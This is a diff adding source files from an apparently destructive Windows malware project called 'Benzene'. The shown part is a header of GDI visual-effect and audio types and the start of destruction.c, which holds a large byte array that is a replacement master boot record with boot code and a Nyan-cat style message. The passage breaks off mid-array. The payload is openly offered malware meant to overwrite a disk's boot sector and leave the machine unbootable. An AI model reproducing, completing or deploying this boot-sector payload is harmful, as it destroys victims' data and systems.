src/Benzene-main/Destructive/Benzene/def.h

@@ -0,0 +1,59 @@
+#pragma once
+#include "benzene.h"
+
+typedef union
+{
+	COLORREF rgb;
+	struct
+	{
+		BYTE b;
+		BYTE g;
+		BYTE r;
+		BYTE unused;
+	};
+} RGBQUAD, *PRGBQUAD;
+
+typedef VOID( WINAPI GDI_SHADER )(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+	), *PGDI_SHADER;
+
+typedef VOID( WINAPI GDI_SHADER_OPERATION )(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+	), *PGDI_SHADER_OPERATION;
+
+typedef struct tagGDI_SHADER_PARAMS
+{
+	PGDI_SHADER pGdiShader;
+	PGDI_SHADER_OPERATION pPreGdiShader;
+	PGDI_SHADER_OPERATION pPostGdiShader;
+} GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
+
+typedef VOID( WINAPI AUDIO_SEQUENCE )(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+	), *PAUDIO_SEQUENCE;
+
+typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
+	_In_ INT nSamplesPerSec
+	), *PAUDIO_SEQUENCE_OPERATION;
+
+typedef struct tagAUDIO_SEQUENCE_PARAMS
+{
+	INT nSamplesPerSec;
+	INT nSampleCount;
+	PAUDIO_SEQUENCE pAudioSequence;
+	PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
+	PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
+} AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;

src/Benzene-main/Destructive/Benzene/destruction.c

@@ -0,0 +1,767 @@
+#include "benzene.h"
+
+const unsigned char pccMbrData[] = {
+0xEA, 0x05, 0x7C, 0x00, 0x00, 0xFA, 0x31, 0xC0, 0x8E, 0xD0, 0xBC, 0xF0, 0x7B, 0xFB, 0xBB, 0x00,
+0x10, 0x8E, 0xC3, 0xB8, 0x08, 0x02, 0xB9, 0x02, 0x00, 0xB6, 0x00, 0x31, 0xDB, 0xCD, 0x13, 0x06,
+0x1F, 0xB8, 0x00, 0x20, 0x8E, 0xC0, 0x31, 0xC0, 0x89, 0xC3, 0x89, 0xC1, 0x89, 0xC2, 0x89, 0xC7,
+0x89, 0xC6, 0xAC, 0x81, 0xFE, 0xD4, 0x0E, 0x73, 0x2F, 0x3C, 0x80, 0x73, 0x02, 0xEB, 0x0F, 0x24,
+0x7F, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75, 0xF7, 0xEB, 0xE4, 0x88, 0xC4,
+0xAC, 0x89, 0xC3, 0xAC, 0x1E, 0x68, 0x00, 0x20, 0x1F, 0x89, 0xF2, 0x89, 0xDE, 0x88, 0xC1, 0xAC,
+0xAA, 0xE2, 0xFC, 0x89, 0xD6, 0x1F, 0xEB, 0xCA, 0xB8, 0x00, 0x20, 0x8E, 0xD8, 0x8E, 0xC0, 0xEA,
+0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA,
+0xA4, 0xB8, 0x03, 0x00, 0xCD, 0x10, 0xB8, 0x03, 0x10, 0xB3, 0x00, 0xCD, 0x10, 0xB0, 0x34, 0xE6,
+0x43, 0xE8, 0x92, 0x00, 0xFA, 0x1E, 0x6A, 0x00, 0x1F, 0xC7, 0x06, 0x20, 0x00, 0x53, 0x00, 0xC7,
+0x06, 0x22, 0x00, 0x00, 0x20, 0x1F, 0x00, 0x14, 0x06, 0x86, 0x24, 0x00, 0x93, 0x00, 0xC7, 0x06,
+0x26, 0x00, 0x21, 0x04, 0xB9, 0xFB, 0xB0, 0xB6, 0xE6, 0x43, 0xB8, 0xA9, 0x04, 0xE6, 0x42, 0x88,
+0xE0, 0xE6, 0x42, 0xE4, 0x61, 0x0C, 0x03, 0xE6, 0x61, 0xE8, 0x1A, 0x01, 0xF4, 0xEB, 0xFD, 0x00,
+0x00, 0x00, 0x60, 0xFE, 0x06, 0x50, 0x00, 0x80, 0x3E, 0x50, 0x00, 0x08, 0x75, 0x08, 0xC6, 0x06,
+0x50, 0x00, 0x00, 0xE8, 0xC2, 0x00, 0xFE, 0x06, 0x51, 0x00, 0x80, 0x3E, 0x51, 0x00, 0x0C, 0x00,
+0x5D, 0x04, 0x8E, 0x51, 0x00, 0x00, 0xE8, 0x63, 0x01, 0xFE, 0x06, 0x52, 0x00, 0x80, 0x3E, 0x52,
+0x00, 0x0A, 0x00, 0x70, 0x04, 0x94, 0x52, 0x00, 0x00, 0xE8, 0x62, 0x00, 0xB0, 0x20, 0xE6, 0x20,
+0x61, 0xCF, 0x60, 0xE4, 0x60, 0x3C, 0x1F, 0x75, 0x03, 0xE8, 0x12, 0x00, 0x8C, 0x07, 0xEE, 0x9C,
+0x2E, 0xA1, 0xA3, 0x00, 0xE6, 0x40, 0x88, 0xE0, 0xE6, 0x40, 0xC3, 0xA1, 0xA3, 0x00, 0xBB, 0x02,
+0x00, 0xF7, 0xE3, 0xBB, 0x03, 0x00, 0xF7, 0xF3, 0x3D, 0xC4, 0x07, 0x77, 0x03, 0xB8, 0xD4, 0x8B,
+0xA3, 0xA3, 0x00, 0xE8, 0xDB, 0xFF, 0xC3, 0x59, 0x6F, 0x75, 0x27, 0x76, 0x65, 0x20, 0x4E, 0x79,
+0x61, 0x6E, 0x65, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2E, 0x30,
+0x20, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x21, 0x00, 0x00, 0x06, 0x68, 0x00, 0xB8, 0x07,
+0xBF, 0x00, 0x00, 0xFF, 0x06, 0xED, 0x00, 0xBB, 0x44, 0x00, 0x83, 0xEB, 0x02, 0x26, 0x8A, 0x87,
+0x00, 0x0F, 0x3C, 0x30, 0x72, 0x16, 0x3C, 0x39, 0x77, 0x12, 0xFE, 0xC0, 0x26, 0x88, 0x01, 0x03,
+0x04, 0x84, 0x3A, 0x75, 0x0C, 0xB0, 0x30, 0x01, 0x10, 0x05, 0x86, 0x83, 0xFB, 0x00, 0x75, 0xD9,
+0x07, 0xC3, 0x00, 0xED, 0x0A, 0xB5, 0x8B, 0x36, 0x27, 0x01, 0x81, 0x3E, 0xDA, 0x01, 0xD1, 0x67,
+0x77, 0x17, 0x75, 0x10, 0xBE, 0x0D, 0x02, 0xBF, 0x00, 0x00, 0xB9, 0x27, 0x00, 0xB8, 0xDC, 0x00,
+0xF3, 0xAB, 0xEB, 0x05, 0xE8, 0x38, 0x00, 0xEB, 0x11, 0xE8, 0x5A, 0x00, 0x81, 0x3E, 0x27, 0x01,
+0xCD, 0x5F, 0x72, 0x06, 0xC7, 0x06, 0x27, 0x01, 0x0D, 0x02, 0x07, 0xC3, 0x01, 0x29, 0x08, 0x98,
+0xB8, 0xDC, 0x00, 0xB9, 0x80, 0x07, 0xF3, 0xAB, 0xB9, 0x22, 0x00, 0xBE, 0xCB, 0x00, 0xAC, 0xAB,
+0xE2, 0xFC, 0xB0, 0xDC, 0xB9, 0x2E, 0x00, 0xF3, 0xAB, 0x01, 0x65, 0x07, 0x00, 0x5F, 0x04, 0x9B,
+0x05, 0x83, 0xFE, 0x27, 0x73, 0x16, 0x89, 0xF7, 0x6B, 0xFF, 0x02, 0x8A, 0x84, 0xB7, 0x68, 0x26,
+0x88, 0x05, 0x26, 0xC6, 0x45, 0x01, 0xF0, 0x46, 0x89, 0x36, 0x27, 0x01, 0x01, 0x88, 0x07, 0x87,
+0xA1, 0xED, 0x00, 0xBA, 0x00, 0x00, 0xBB, 0x0A, 0x00, 0xB9, 0x04, 0x91, 0xA4, 0x01, 0x75, 0x03,
+0xBE, 0xCD, 0x5F, 0xBF, 0x01, 0x00, 0xB9, 0xD0, 0x07, 0xAC, 0xAA, 0x47, 0xE2, 0xFB, 0x01, 0xAB,
+0x06, 0xA0, 0x9D, 0x67, 0x00, 0x8B, 0x36, 0xDA, 0x01, 0x81, 0xFE, 0xB7, 0x68, 0x72, 0x03, 0xBE,
+0xD1, 0x67, 0xFE, 0x0E, 0xDC, 0x01, 0x80, 0x3E, 0xDC, 0x01, 0xFF, 0x75, 0x17, 0xAD, 0x89, 0xC1,
+0x80, 0xE4, 0x1F, 0x00, 0x3E, 0x06, 0x8F, 0xC0, 0xED, 0x05, 0x88, 0x2E, 0xDC, 0x01, 0x89, 0x36,
+0xDA, 0x01, 0xC3, 0x88, 0x88, 0x88, 0x88, 0x02, 0x0D, 0x04, 0x02, 0x11, 0x04, 0x83, 0x55, 0x55,
+0x55, 0x55, 0x02, 0x15, 0x04, 0x83, 0x33, 0x33, 0x33, 0x33, 0x02, 0x21, 0x04, 0x02, 0x1D, 0x04,
+0x83, 0x00, 0x00, 0x00, 0x00, 0x02, 0x2D, 0x04, 0x02, 0x2D, 0x08, 0x02, 0x37, 0x06, 0x02, 0x15,
+0x06, 0x02, 0x1F, 0x08, 0x02, 0x0D, 0x0C, 0x02, 0x3F, 0x08, 0x02, 0x55, 0x08, 0x02, 0x21, 0x08,
+0x02, 0x4D, 0x0A, 0x02, 0x5D, 0x08, 0x02, 0x37, 0x10, 0x02, 0x69, 0x08, 0x02, 0x15, 0x0C, 0x02,
+0x53, 0x0E, 0x02, 0x31, 0x16, 0x02, 0xAD, 0x08, 0x85, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x02,
+0x45, 0x06, 0x02, 0xB1, 0x1A, 0x02, 0xC9, 0x04, 0x02, 0xC9, 0x08, 0x02, 0xA3, 0x04, 0x02, 0xA3,
+0x12, 0x02, 0xE5, 0x12, 0x02, 0x11, 0x0A, 0x02, 0xD5, 0x04, 0x02, 0xAD, 0x1E, 0x03, 0x29, 0x0E,
+0x02, 0x71, 0x0A, 0x03, 0x0B, 0x12, 0x02, 0xBB, 0x1C, 0x03, 0x11, 0x20, 0x03, 0x5F, 0x14, 0x02,
+0xD9, 0x04, 0x03, 0x79, 0x0A, 0x03, 0xC1, 0x0A, 0x03, 0x09, 0x08, 0x02, 0xD7, 0x06, 0x81, 0x77,
+0x77, 0x02, 0x23, 0x20, 0x03, 0xE7, 0x08, 0x03, 0xF7, 0x08, 0x03, 0x3D, 0x04, 0x02, 0x9D, 0x18,
+0x03, 0xCB, 0x0A, 0x03, 0xE3, 0x0C, 0x04, 0x11, 0x16, 0x03, 0xF5, 0x08, 0x03, 0xFF, 0x0A, 0x03,
+0xD9, 0x0C, 0x02, 0x6B, 0x0C, 0x03, 0xA5, 0x26, 0x03, 0xF7, 0x0C, 0x04, 0x35, 0x06, 0x04, 0x2F,
+0x04, 0x02, 0xF3, 0x16, 0x04, 0xAB, 0x06, 0x04, 0xEF, 0x0A, 0x04, 0xA9, 0x12, 0x03, 0x97, 0x28,
+0x03, 0xDF, 0x10, 0x05, 0x33, 0x0E, 0x04, 0x5B, 0x1A, 0x05, 0x4F, 0x0E, 0x03, 0x9D, 0x2C, 0x05,
+0x4F, 0x10, 0x05, 0x99, 0x1E, 0x05, 0x35, 0x10, 0x05, 0x93, 0x0C, 0x02, 0xA7, 0x30, 0x05, 0xFD,
+0x22, 0x05, 0x0D, 0x24, 0x02, 0x6B, 0x14, 0x05, 0xB9, 0x1C, 0x03, 0x33, 0x0A, 0x02, 0x5B, 0x12,
+0x04, 0x93, 0x14, 0x03, 0x75, 0x08, 0x05, 0x5D, 0x12, 0x04, 0x25, 0x0C, 0x04, 0x79, 0x0C, 0x04,
+0x9F, 0x0C, 0x06, 0xBF, 0x0C, 0x03, 0xD7, 0x06, 0x06, 0xD1, 0x08, 0x06, 0x93, 0x14, 0x06, 0xED,
+0x20, 0x05, 0x4B, 0x10, 0x05, 0xED, 0x1A, 0x04, 0xD5, 0x08, 0x06, 0x27, 0x20, 0x05, 0x3F, 0x16,
+0x06, 0xA9, 0x16, 0x06, 0x1F, 0x16, 0x07, 0x97, 0x0E, 0x07, 0x47, 0x0A, 0x07, 0x43, 0x06, 0x03,
+0x09, 0x0E, 0x07, 0xC7, 0x10, 0x03, 0xF3, 0x06, 0x03, 0x09, 0x14, 0x07, 0xBB, 0x0A, 0x07, 0xFF,
+0x0E, 0x07, 0x3B, 0x16, 0x04, 0x9F, 0x10, 0x08, 0x37, 0x04, 0x04, 0x8B, 0x0E, 0x04, 0x7D, 0x0A,
+0x08, 0x51, 0x18, 0x06, 0x71, 0x0C, 0x08, 0x55, 0x16, 0x08, 0x0F, 0x0E, 0x03, 0xC7, 0x0A, 0x08,
+0x57, 0x1E, 0x08, 0xC1, 0x18, 0x08, 0xD7, 0x06, 0x04, 0x89, 0x0E, 0x02, 0xD1, 0x0C, 0x08, 0xF7,
+0x18, 0x04, 0x2B, 0x08, 0x09, 0x3F, 0x12, 0x02, 0xD5, 0x0A, 0x07, 0xE3, 0x0E, 0x09, 0x63, 0x12,
+0x09, 0x05, 0x14, 0x08, 0x9B, 0x06, 0x04, 0x25, 0x0E, 0x09, 0x7D, 0x14, 0x09, 0x3B, 0x18, 0x04,
+0x31, 0x08, 0x07, 0xEB, 0x10, 0x09, 0xF7, 0x08, 0x09, 0x7B, 0x0A, 0x04, 0x03, 0x08, 0x07, 0xCD,
+0x20, 0x07, 0x89, 0x10, 0x08, 0x8B, 0x0A, 0x0A, 0x13, 0x08, 0x02, 0x97, 0x0C, 0x07, 0xD7, 0x1A,
+0x09, 0xD1, 0x14, 0x09, 0xE1, 0x0E, 0x03, 0x7D, 0x22, 0x09, 0xE5, 0x14, 0x04, 0x4B, 0x0C, 0x07,
+0xE5, 0x0E, 0x0A, 0x41, 0x20, 0x08, 0x3F, 0x10, 0x07, 0x03, 0x14, 0x09, 0x97, 0x0E, 0x07, 0xE1,
+0x14, 0x0A, 0x35, 0x1E, 0x0A, 0xBD, 0x1C, 0x0B, 0x41, 0x08, 0x0A, 0x65, 0x0C, 0x09, 0x37, 0x1C,
+0x0A, 0x93, 0x0E, 0x0B, 0x87, 0x12, 0x0B, 0x43, 0x0C, 0x0A, 0x6B, 0x0A, 0x09, 0xC5, 0x08, 0x04,
+0x3D, 0x1E, 0x05, 0x2F, 0x12, 0x81, 0x00, 0x00, 0x0B, 0xF5, 0x0E, 0x0B, 0xF1, 0x0C, 0x0A, 0x59,
+0x0E, 0x0B, 0xB1, 0x10, 0x0B, 0x21, 0x1A, 0x0C, 0x47, 0x10, 0x09, 0x79, 0x14, 0x07, 0xCB, 0x24,
+0x05, 0x11, 0x26, 0x03, 0xA3, 0x2C, 0x06, 0x25, 0x32, 0x07, 0xC7, 0x26, 0x0D, 0x2B, 0x16, 0x07,
+0xE3, 0x1A, 0x0D, 0x5D, 0x12, 0x0A, 0x6F, 0x1E, 0x06, 0xA9, 0x1C, 0x0D, 0x0F, 0x22, 0x0C, 0xAB,
+0x0E, 0x0D, 0xC9, 0x10, 0x09, 0xF3, 0x08, 0x0C, 0x03, 0x0C, 0x05, 0x5B, 0x14, 0x0D, 0xE5, 0x0C,
+0x09, 0xEF, 0x12, 0x0B, 0x33, 0x12, 0x0E, 0x75, 0x0C, 0x09, 0xFF, 0x12, 0x0E, 0x73, 0x0E, 0x0E,
+0x43, 0x0C, 0x07, 0x01, 0x14, 0x0A, 0xA7, 0x10, 0x0A, 0xFD, 0x08, 0x0A, 0xC9, 0x14, 0x0B, 0x9D,
+0x0C, 0x0D, 0xCB, 0x1E, 0x0D, 0xF1, 0x16, 0x03, 0x97, 0x2A, 0x09, 0x31, 0x16, 0x0C, 0xB9, 0x28,
+0x0E, 0x0B, 0x16, 0x0F, 0x49, 0x18, 0x07, 0x0D, 0x10, 0x0B, 0xC7, 0x14, 0x0F, 0x6D, 0x14, 0x0F,
+0xED, 0x1C, 0x08, 0x6B, 0x18, 0x0B, 0xBD, 0x1E, 0x10, 0x45, 0x08, 0x09, 0xE9, 0x12, 0x09, 0x09,
+0x1A, 0x0B, 0x05, 0x20, 0x08, 0xF5, 0x1E, 0x10, 0x25, 0x14, 0x0F, 0xFB, 0x14, 0x10, 0xBD, 0x18,
+0x06, 0x6D, 0x10, 0x10, 0xE5, 0x06, 0x10, 0xE7, 0x1A, 0x11, 0x07, 0x20, 0x11, 0x2B, 0x0E, 0x11,
+0x35, 0x08, 0x10, 0x57, 0x16, 0x0B, 0xCF, 0x12, 0x11, 0x59, 0x16, 0x04, 0x53, 0x0C, 0x05, 0xE3,
+0x0E, 0x0F, 0x1F, 0x2A, 0x11, 0x8B, 0x0E, 0x0F, 0x33, 0x1A, 0x0A, 0x37, 0x28, 0x02, 0x87, 0x16,
+0x0F, 0xF7, 0x26, 0x0A, 0xC9, 0x1E, 0x0B, 0x51, 0x08, 0x07, 0xBD, 0x12, 0x0D, 0x25, 0x2C, 0x06,
+0x65, 0x18, 0x0C, 0x43, 0x10, 0x05, 0xE9, 0x0C, 0x0E, 0x55, 0x0A, 0x0F, 0x97, 0x28, 0x12, 0x9D,
+0x0E, 0x09, 0x57, 0x12, 0x11, 0xAB, 0x22, 0x10, 0x07, 0x18, 0x0C, 0x41, 0x04, 0x10, 0x3F, 0x0C,
+0x04, 0xC9, 0x0E, 0x81, 0x77, 0x77, 0x13, 0x39, 0x26, 0x13, 0xAB, 0x0E, 0x13, 0x75, 0x08, 0x0A,
+0x57, 0x14, 0x0D, 0xEB, 0x16, 0x12, 0x6F, 0x06, 0x0D, 0xD7, 0x1C, 0x12, 0x15, 0x12, 0x0E, 0x51,
+0x0A, 0x07, 0xC5, 0x2A, 0x14, 0x7F, 0x0E, 0x14, 0x7D, 0x14, 0x0E, 0x07, 0x1E, 0x07, 0xA5, 0x16,
+0x04, 0xFF, 0x16, 0x06, 0x85, 0x20, 0x0A, 0x7B, 0x20, 0x13, 0x55, 0x12, 0x14, 0xBD, 0x1A, 0x0C,
+0xAD, 0x3A, 0x15, 0x81, 0x0C, 0x04, 0x9F, 0x24, 0x07, 0xC3, 0x20, 0x02, 0x91, 0x12, 0x14, 0x45,
+0x0C, 0x15, 0x17, 0x3A, 0x0E, 0x97, 0x12, 0x0B, 0x83, 0x1A, 0x0F, 0x0F, 0x28, 0x11, 0x97, 0x0C,
+0x0F, 0x6B, 0x18, 0x09, 0x73, 0x0E, 0x13, 0xD1, 0x0A, 0x14, 0x89, 0x2A, 0x0B, 0x01, 0x1C, 0x16,
+0x33, 0x1E, 0x0C, 0x89, 0x0E, 0x0C, 0x69, 0x1A, 0x0F, 0x61, 0x20, 0x16, 0x19, 0x08, 0x0C, 0x07,
+0x1C, 0x16, 0xB1, 0x18, 0x15, 0x71, 0x16, 0x10, 0x91, 0x14, 0x11, 0x29, 0x10, 0x17, 0x6D, 0x1A,
+0x02, 0x21, 0x14, 0x13, 0x8F, 0x14, 0x10, 0xD7, 0x12, 0x11, 0x15, 0x14, 0x05, 0xE5, 0x1C, 0x18,
+0x4D, 0x20, 0x10, 0x27, 0x16, 0x0E, 0x51, 0x10, 0x18, 0x93, 0x22, 0x09, 0x35, 0x20, 0x11, 0xA3,
+0x16, 0x18, 0x9D, 0x20, 0x10, 0x51, 0x20, 0x13, 0x35, 0x1A, 0x09, 0xF1, 0x12, 0x0D, 0xBB, 0x24,
+0x0C, 0x83, 0x18, 0x12, 0x0F, 0x1C, 0x11, 0xDD, 0x0E, 0x0A, 0x1B, 0x0E, 0x16, 0x2D, 0x22, 0x18,
+0x67, 0x10, 0x05, 0xFB, 0x38, 0x0A, 0xF3, 0x14, 0x15, 0xEF, 0x20, 0x14, 0xDB, 0x12, 0x0D, 0x5F,
+0x2E, 0x13, 0xFD, 0x0E, 0x0C, 0xD9, 0x22, 0x18, 0xD9, 0x0C, 0x0A, 0x71, 0x1E, 0x1A, 0xFF, 0x18,
+0x16, 0xE1, 0x0C, 0x0F, 0x67, 0x1C, 0x13, 0x71, 0x14, 0x15, 0x41, 0x1A, 0x07, 0xDB, 0x1E, 0x10,
+0x6F, 0x12, 0x19, 0x87, 0x0E, 0x13, 0xDD, 0x24, 0x08, 0x41, 0x12, 0x0E, 0x3D, 0x14, 0x1B, 0x67,
+0x06, 0x1A, 0x5F, 0x20, 0x07, 0x63, 0x12, 0x17, 0xB5, 0x1C, 0x1C, 0x69, 0x16, 0x1A, 0x59, 0x26,
+0x04, 0x59, 0x18, 0x1C, 0x75, 0x0E, 0x16, 0x9B, 0x1C, 0x0A, 0x0D, 0x0A, 0x1C, 0x77, 0x16, 0x05,
+0xB3, 0x1C, 0x12, 0x1B, 0x2C, 0x1B, 0xA1, 0x18, 0x19, 0x47, 0x10, 0x1A, 0x5B, 0x2A, 0x1D, 0x1D,
+0x16, 0x10, 0xDF, 0x0E, 0x1A, 0x13, 0x26, 0x1B, 0x89, 0x0A, 0x08, 0xDF, 0x12, 0x0C, 0xA1, 0x12,
+0x1E, 0x03, 0x18, 0x0C, 0xA9, 0x30, 0x0E, 0xEF, 0x14, 0x18, 0xDD, 0x12, 0x1D, 0x15, 0x12, 0x0F,
+0x27, 0x28, 0x19, 0xB5, 0x1C, 0x1E, 0x07, 0x1A, 0x1A, 0xCB, 0x2A, 0x18, 0x85, 0x12, 0x1B, 0x83,
+0x12, 0x1E, 0xD5, 0x1C, 0x0F, 0x83, 0x26, 0x1E, 0x2D, 0x12, 0x1B, 0x67, 0x0C, 0x1F, 0xCB, 0x06,
+0x19, 0x47, 0x1A, 0x12, 0x39, 0x16, 0x1D, 0xB7, 0x12, 0x17, 0xF9, 0x1E, 0x12, 0x0B, 0x1A, 0x1A,
+0x91, 0x18, 0x11, 0x69, 0x18, 0x18, 0x65, 0x1A, 0x1B, 0x71, 0x10, 0x20, 0x63, 0x2E, 0x20, 0x3D,
+0x12, 0x11, 0xA1, 0x1C, 0x11, 0x1F, 0x1A, 0x11, 0x81, 0x0A, 0x20, 0x91, 0x12, 0x1D, 0x83, 0x16,
+0x08, 0x31, 0x08, 0x09, 0x2F, 0x08, 0x18, 0x13, 0x0A, 0x1A, 0x2D, 0x14, 0x0B, 0xD5, 0x1A, 0x0A,
+0x35, 0x26, 0x09, 0x29, 0x06, 0x0F, 0x9B, 0x32, 0x02, 0xBD, 0x20, 0x16, 0x6B, 0x20, 0x0D, 0x43,
+0x1A, 0x02, 0xE7, 0x22, 0x15, 0x37, 0x22, 0x1B, 0x27, 0x0C, 0x1E, 0x11, 0x14, 0x1D, 0x31, 0x14,
+0x22, 0x9F, 0x16, 0x12, 0x49, 0x28, 0x1F, 0xA3, 0x1C, 0x07, 0x2D, 0x18, 0x03, 0x7B, 0x22, 0x0E,
+0x71, 0x0A, 0x0E, 0x6B, 0x0E, 0x1A, 0x67, 0x2C, 0x22, 0x07, 0x16, 0x23, 0x1F, 0x0C, 0x21, 0xCB,
+0x14, 0x1B, 0x99, 0x18, 0x23, 0xA9, 0x14, 0x21, 0xAF, 0x0E, 0x1E, 0x41, 0x12, 0x0D, 0x7B, 0x2C,
+0x24, 0x37, 0x12, 0x02, 0xDF, 0x0E, 0x0D, 0xA1, 0x16, 0x21, 0xFF, 0x18, 0x22, 0x4B, 0x1C, 0x1B,
+0xA7, 0x28, 0x05, 0xB5, 0x1C, 0x1F, 0x59, 0x14, 0x1A, 0x5F, 0x2E, 0x24, 0xDB, 0x1A, 0x21, 0xCF,
+0x2C, 0x23, 0xFF, 0x0C, 0x04, 0x3B, 0x14, 0x17, 0xE9, 0x10, 0x07, 0x4F, 0x18, 0x04, 0xB5, 0x18,
+0x1F, 0x8B, 0x10, 0x1B, 0x2B, 0x14, 0x08, 0xD7, 0x0C, 0x25, 0x13, 0x20, 0x1E, 0x0D, 0x20, 0x08,
+0xD5, 0x12, 0x26, 0x37, 0x12, 0x03, 0xDB, 0x10, 0x24, 0x3B, 0x2E, 0x26, 0x9D, 0x18, 0x25, 0x11,
+0x34, 0x1C, 0xA1, 0x14, 0x1A, 0x4F, 0x3E, 0x1E, 0xBF, 0x22, 0x22, 0x63, 0x1E, 0x08, 0x2F, 0x16,
+0x0A, 0x2B, 0x2A, 0x27, 0x39, 0x12, 0x03, 0xEF, 0x0C, 0x0F, 0xCD, 0x16, 0x09, 0xC5, 0x16, 0x26,
+0x85, 0x18, 0x03, 0xF1, 0x0C, 0x21, 0x15, 0x14, 0x21, 0x2B, 0x10, 0x18, 0xCF, 0x1A, 0x28, 0x3B,
+0x10, 0x20, 0x2B, 0x16, 0x28, 0x5F, 0x12, 0x0B, 0x7B, 0x0E, 0x27, 0x93, 0x10, 0x0E, 0xC1, 0x14,
+0x18, 0x09, 0x10, 0x09, 0xBF, 0x1A, 0x0A, 0xC7, 0x26, 0x25, 0x23, 0x2A, 0x0E, 0xB3, 0x12, 0x11,
+0x91, 0x12, 0x0D, 0xB7, 0x1A, 0x19, 0xE9, 0x1A, 0x15, 0x73, 0x1C, 0x19, 0xE3, 0x18, 0x1C, 0xE3,
+0x1A, 0x28, 0x0B, 0x0E, 0x29, 0x0D, 0x16, 0x13, 0x39, 0x2A, 0x25, 0x83, 0x16, 0x21, 0x0D, 0x10,
+0x14, 0x99, 0x22, 0x25, 0x57, 0x30, 0x29, 0xA7, 0x0E, 0x02, 0x4D, 0x16, 0x19, 0xCB, 0x1C, 0x0B,
+0x81, 0x1E, 0x29, 0x01, 0x0E, 0x21, 0x6B, 0x14, 0x1F, 0xA1, 0x1C, 0x17, 0xE5, 0x12, 0x2A, 0x73,
+0x12, 0x14, 0x29, 0x06, 0x07, 0xC7, 0x32, 0x2A, 0x6F, 0x16, 0x2B, 0x55, 0x14, 0x2A, 0xAF, 0x26,
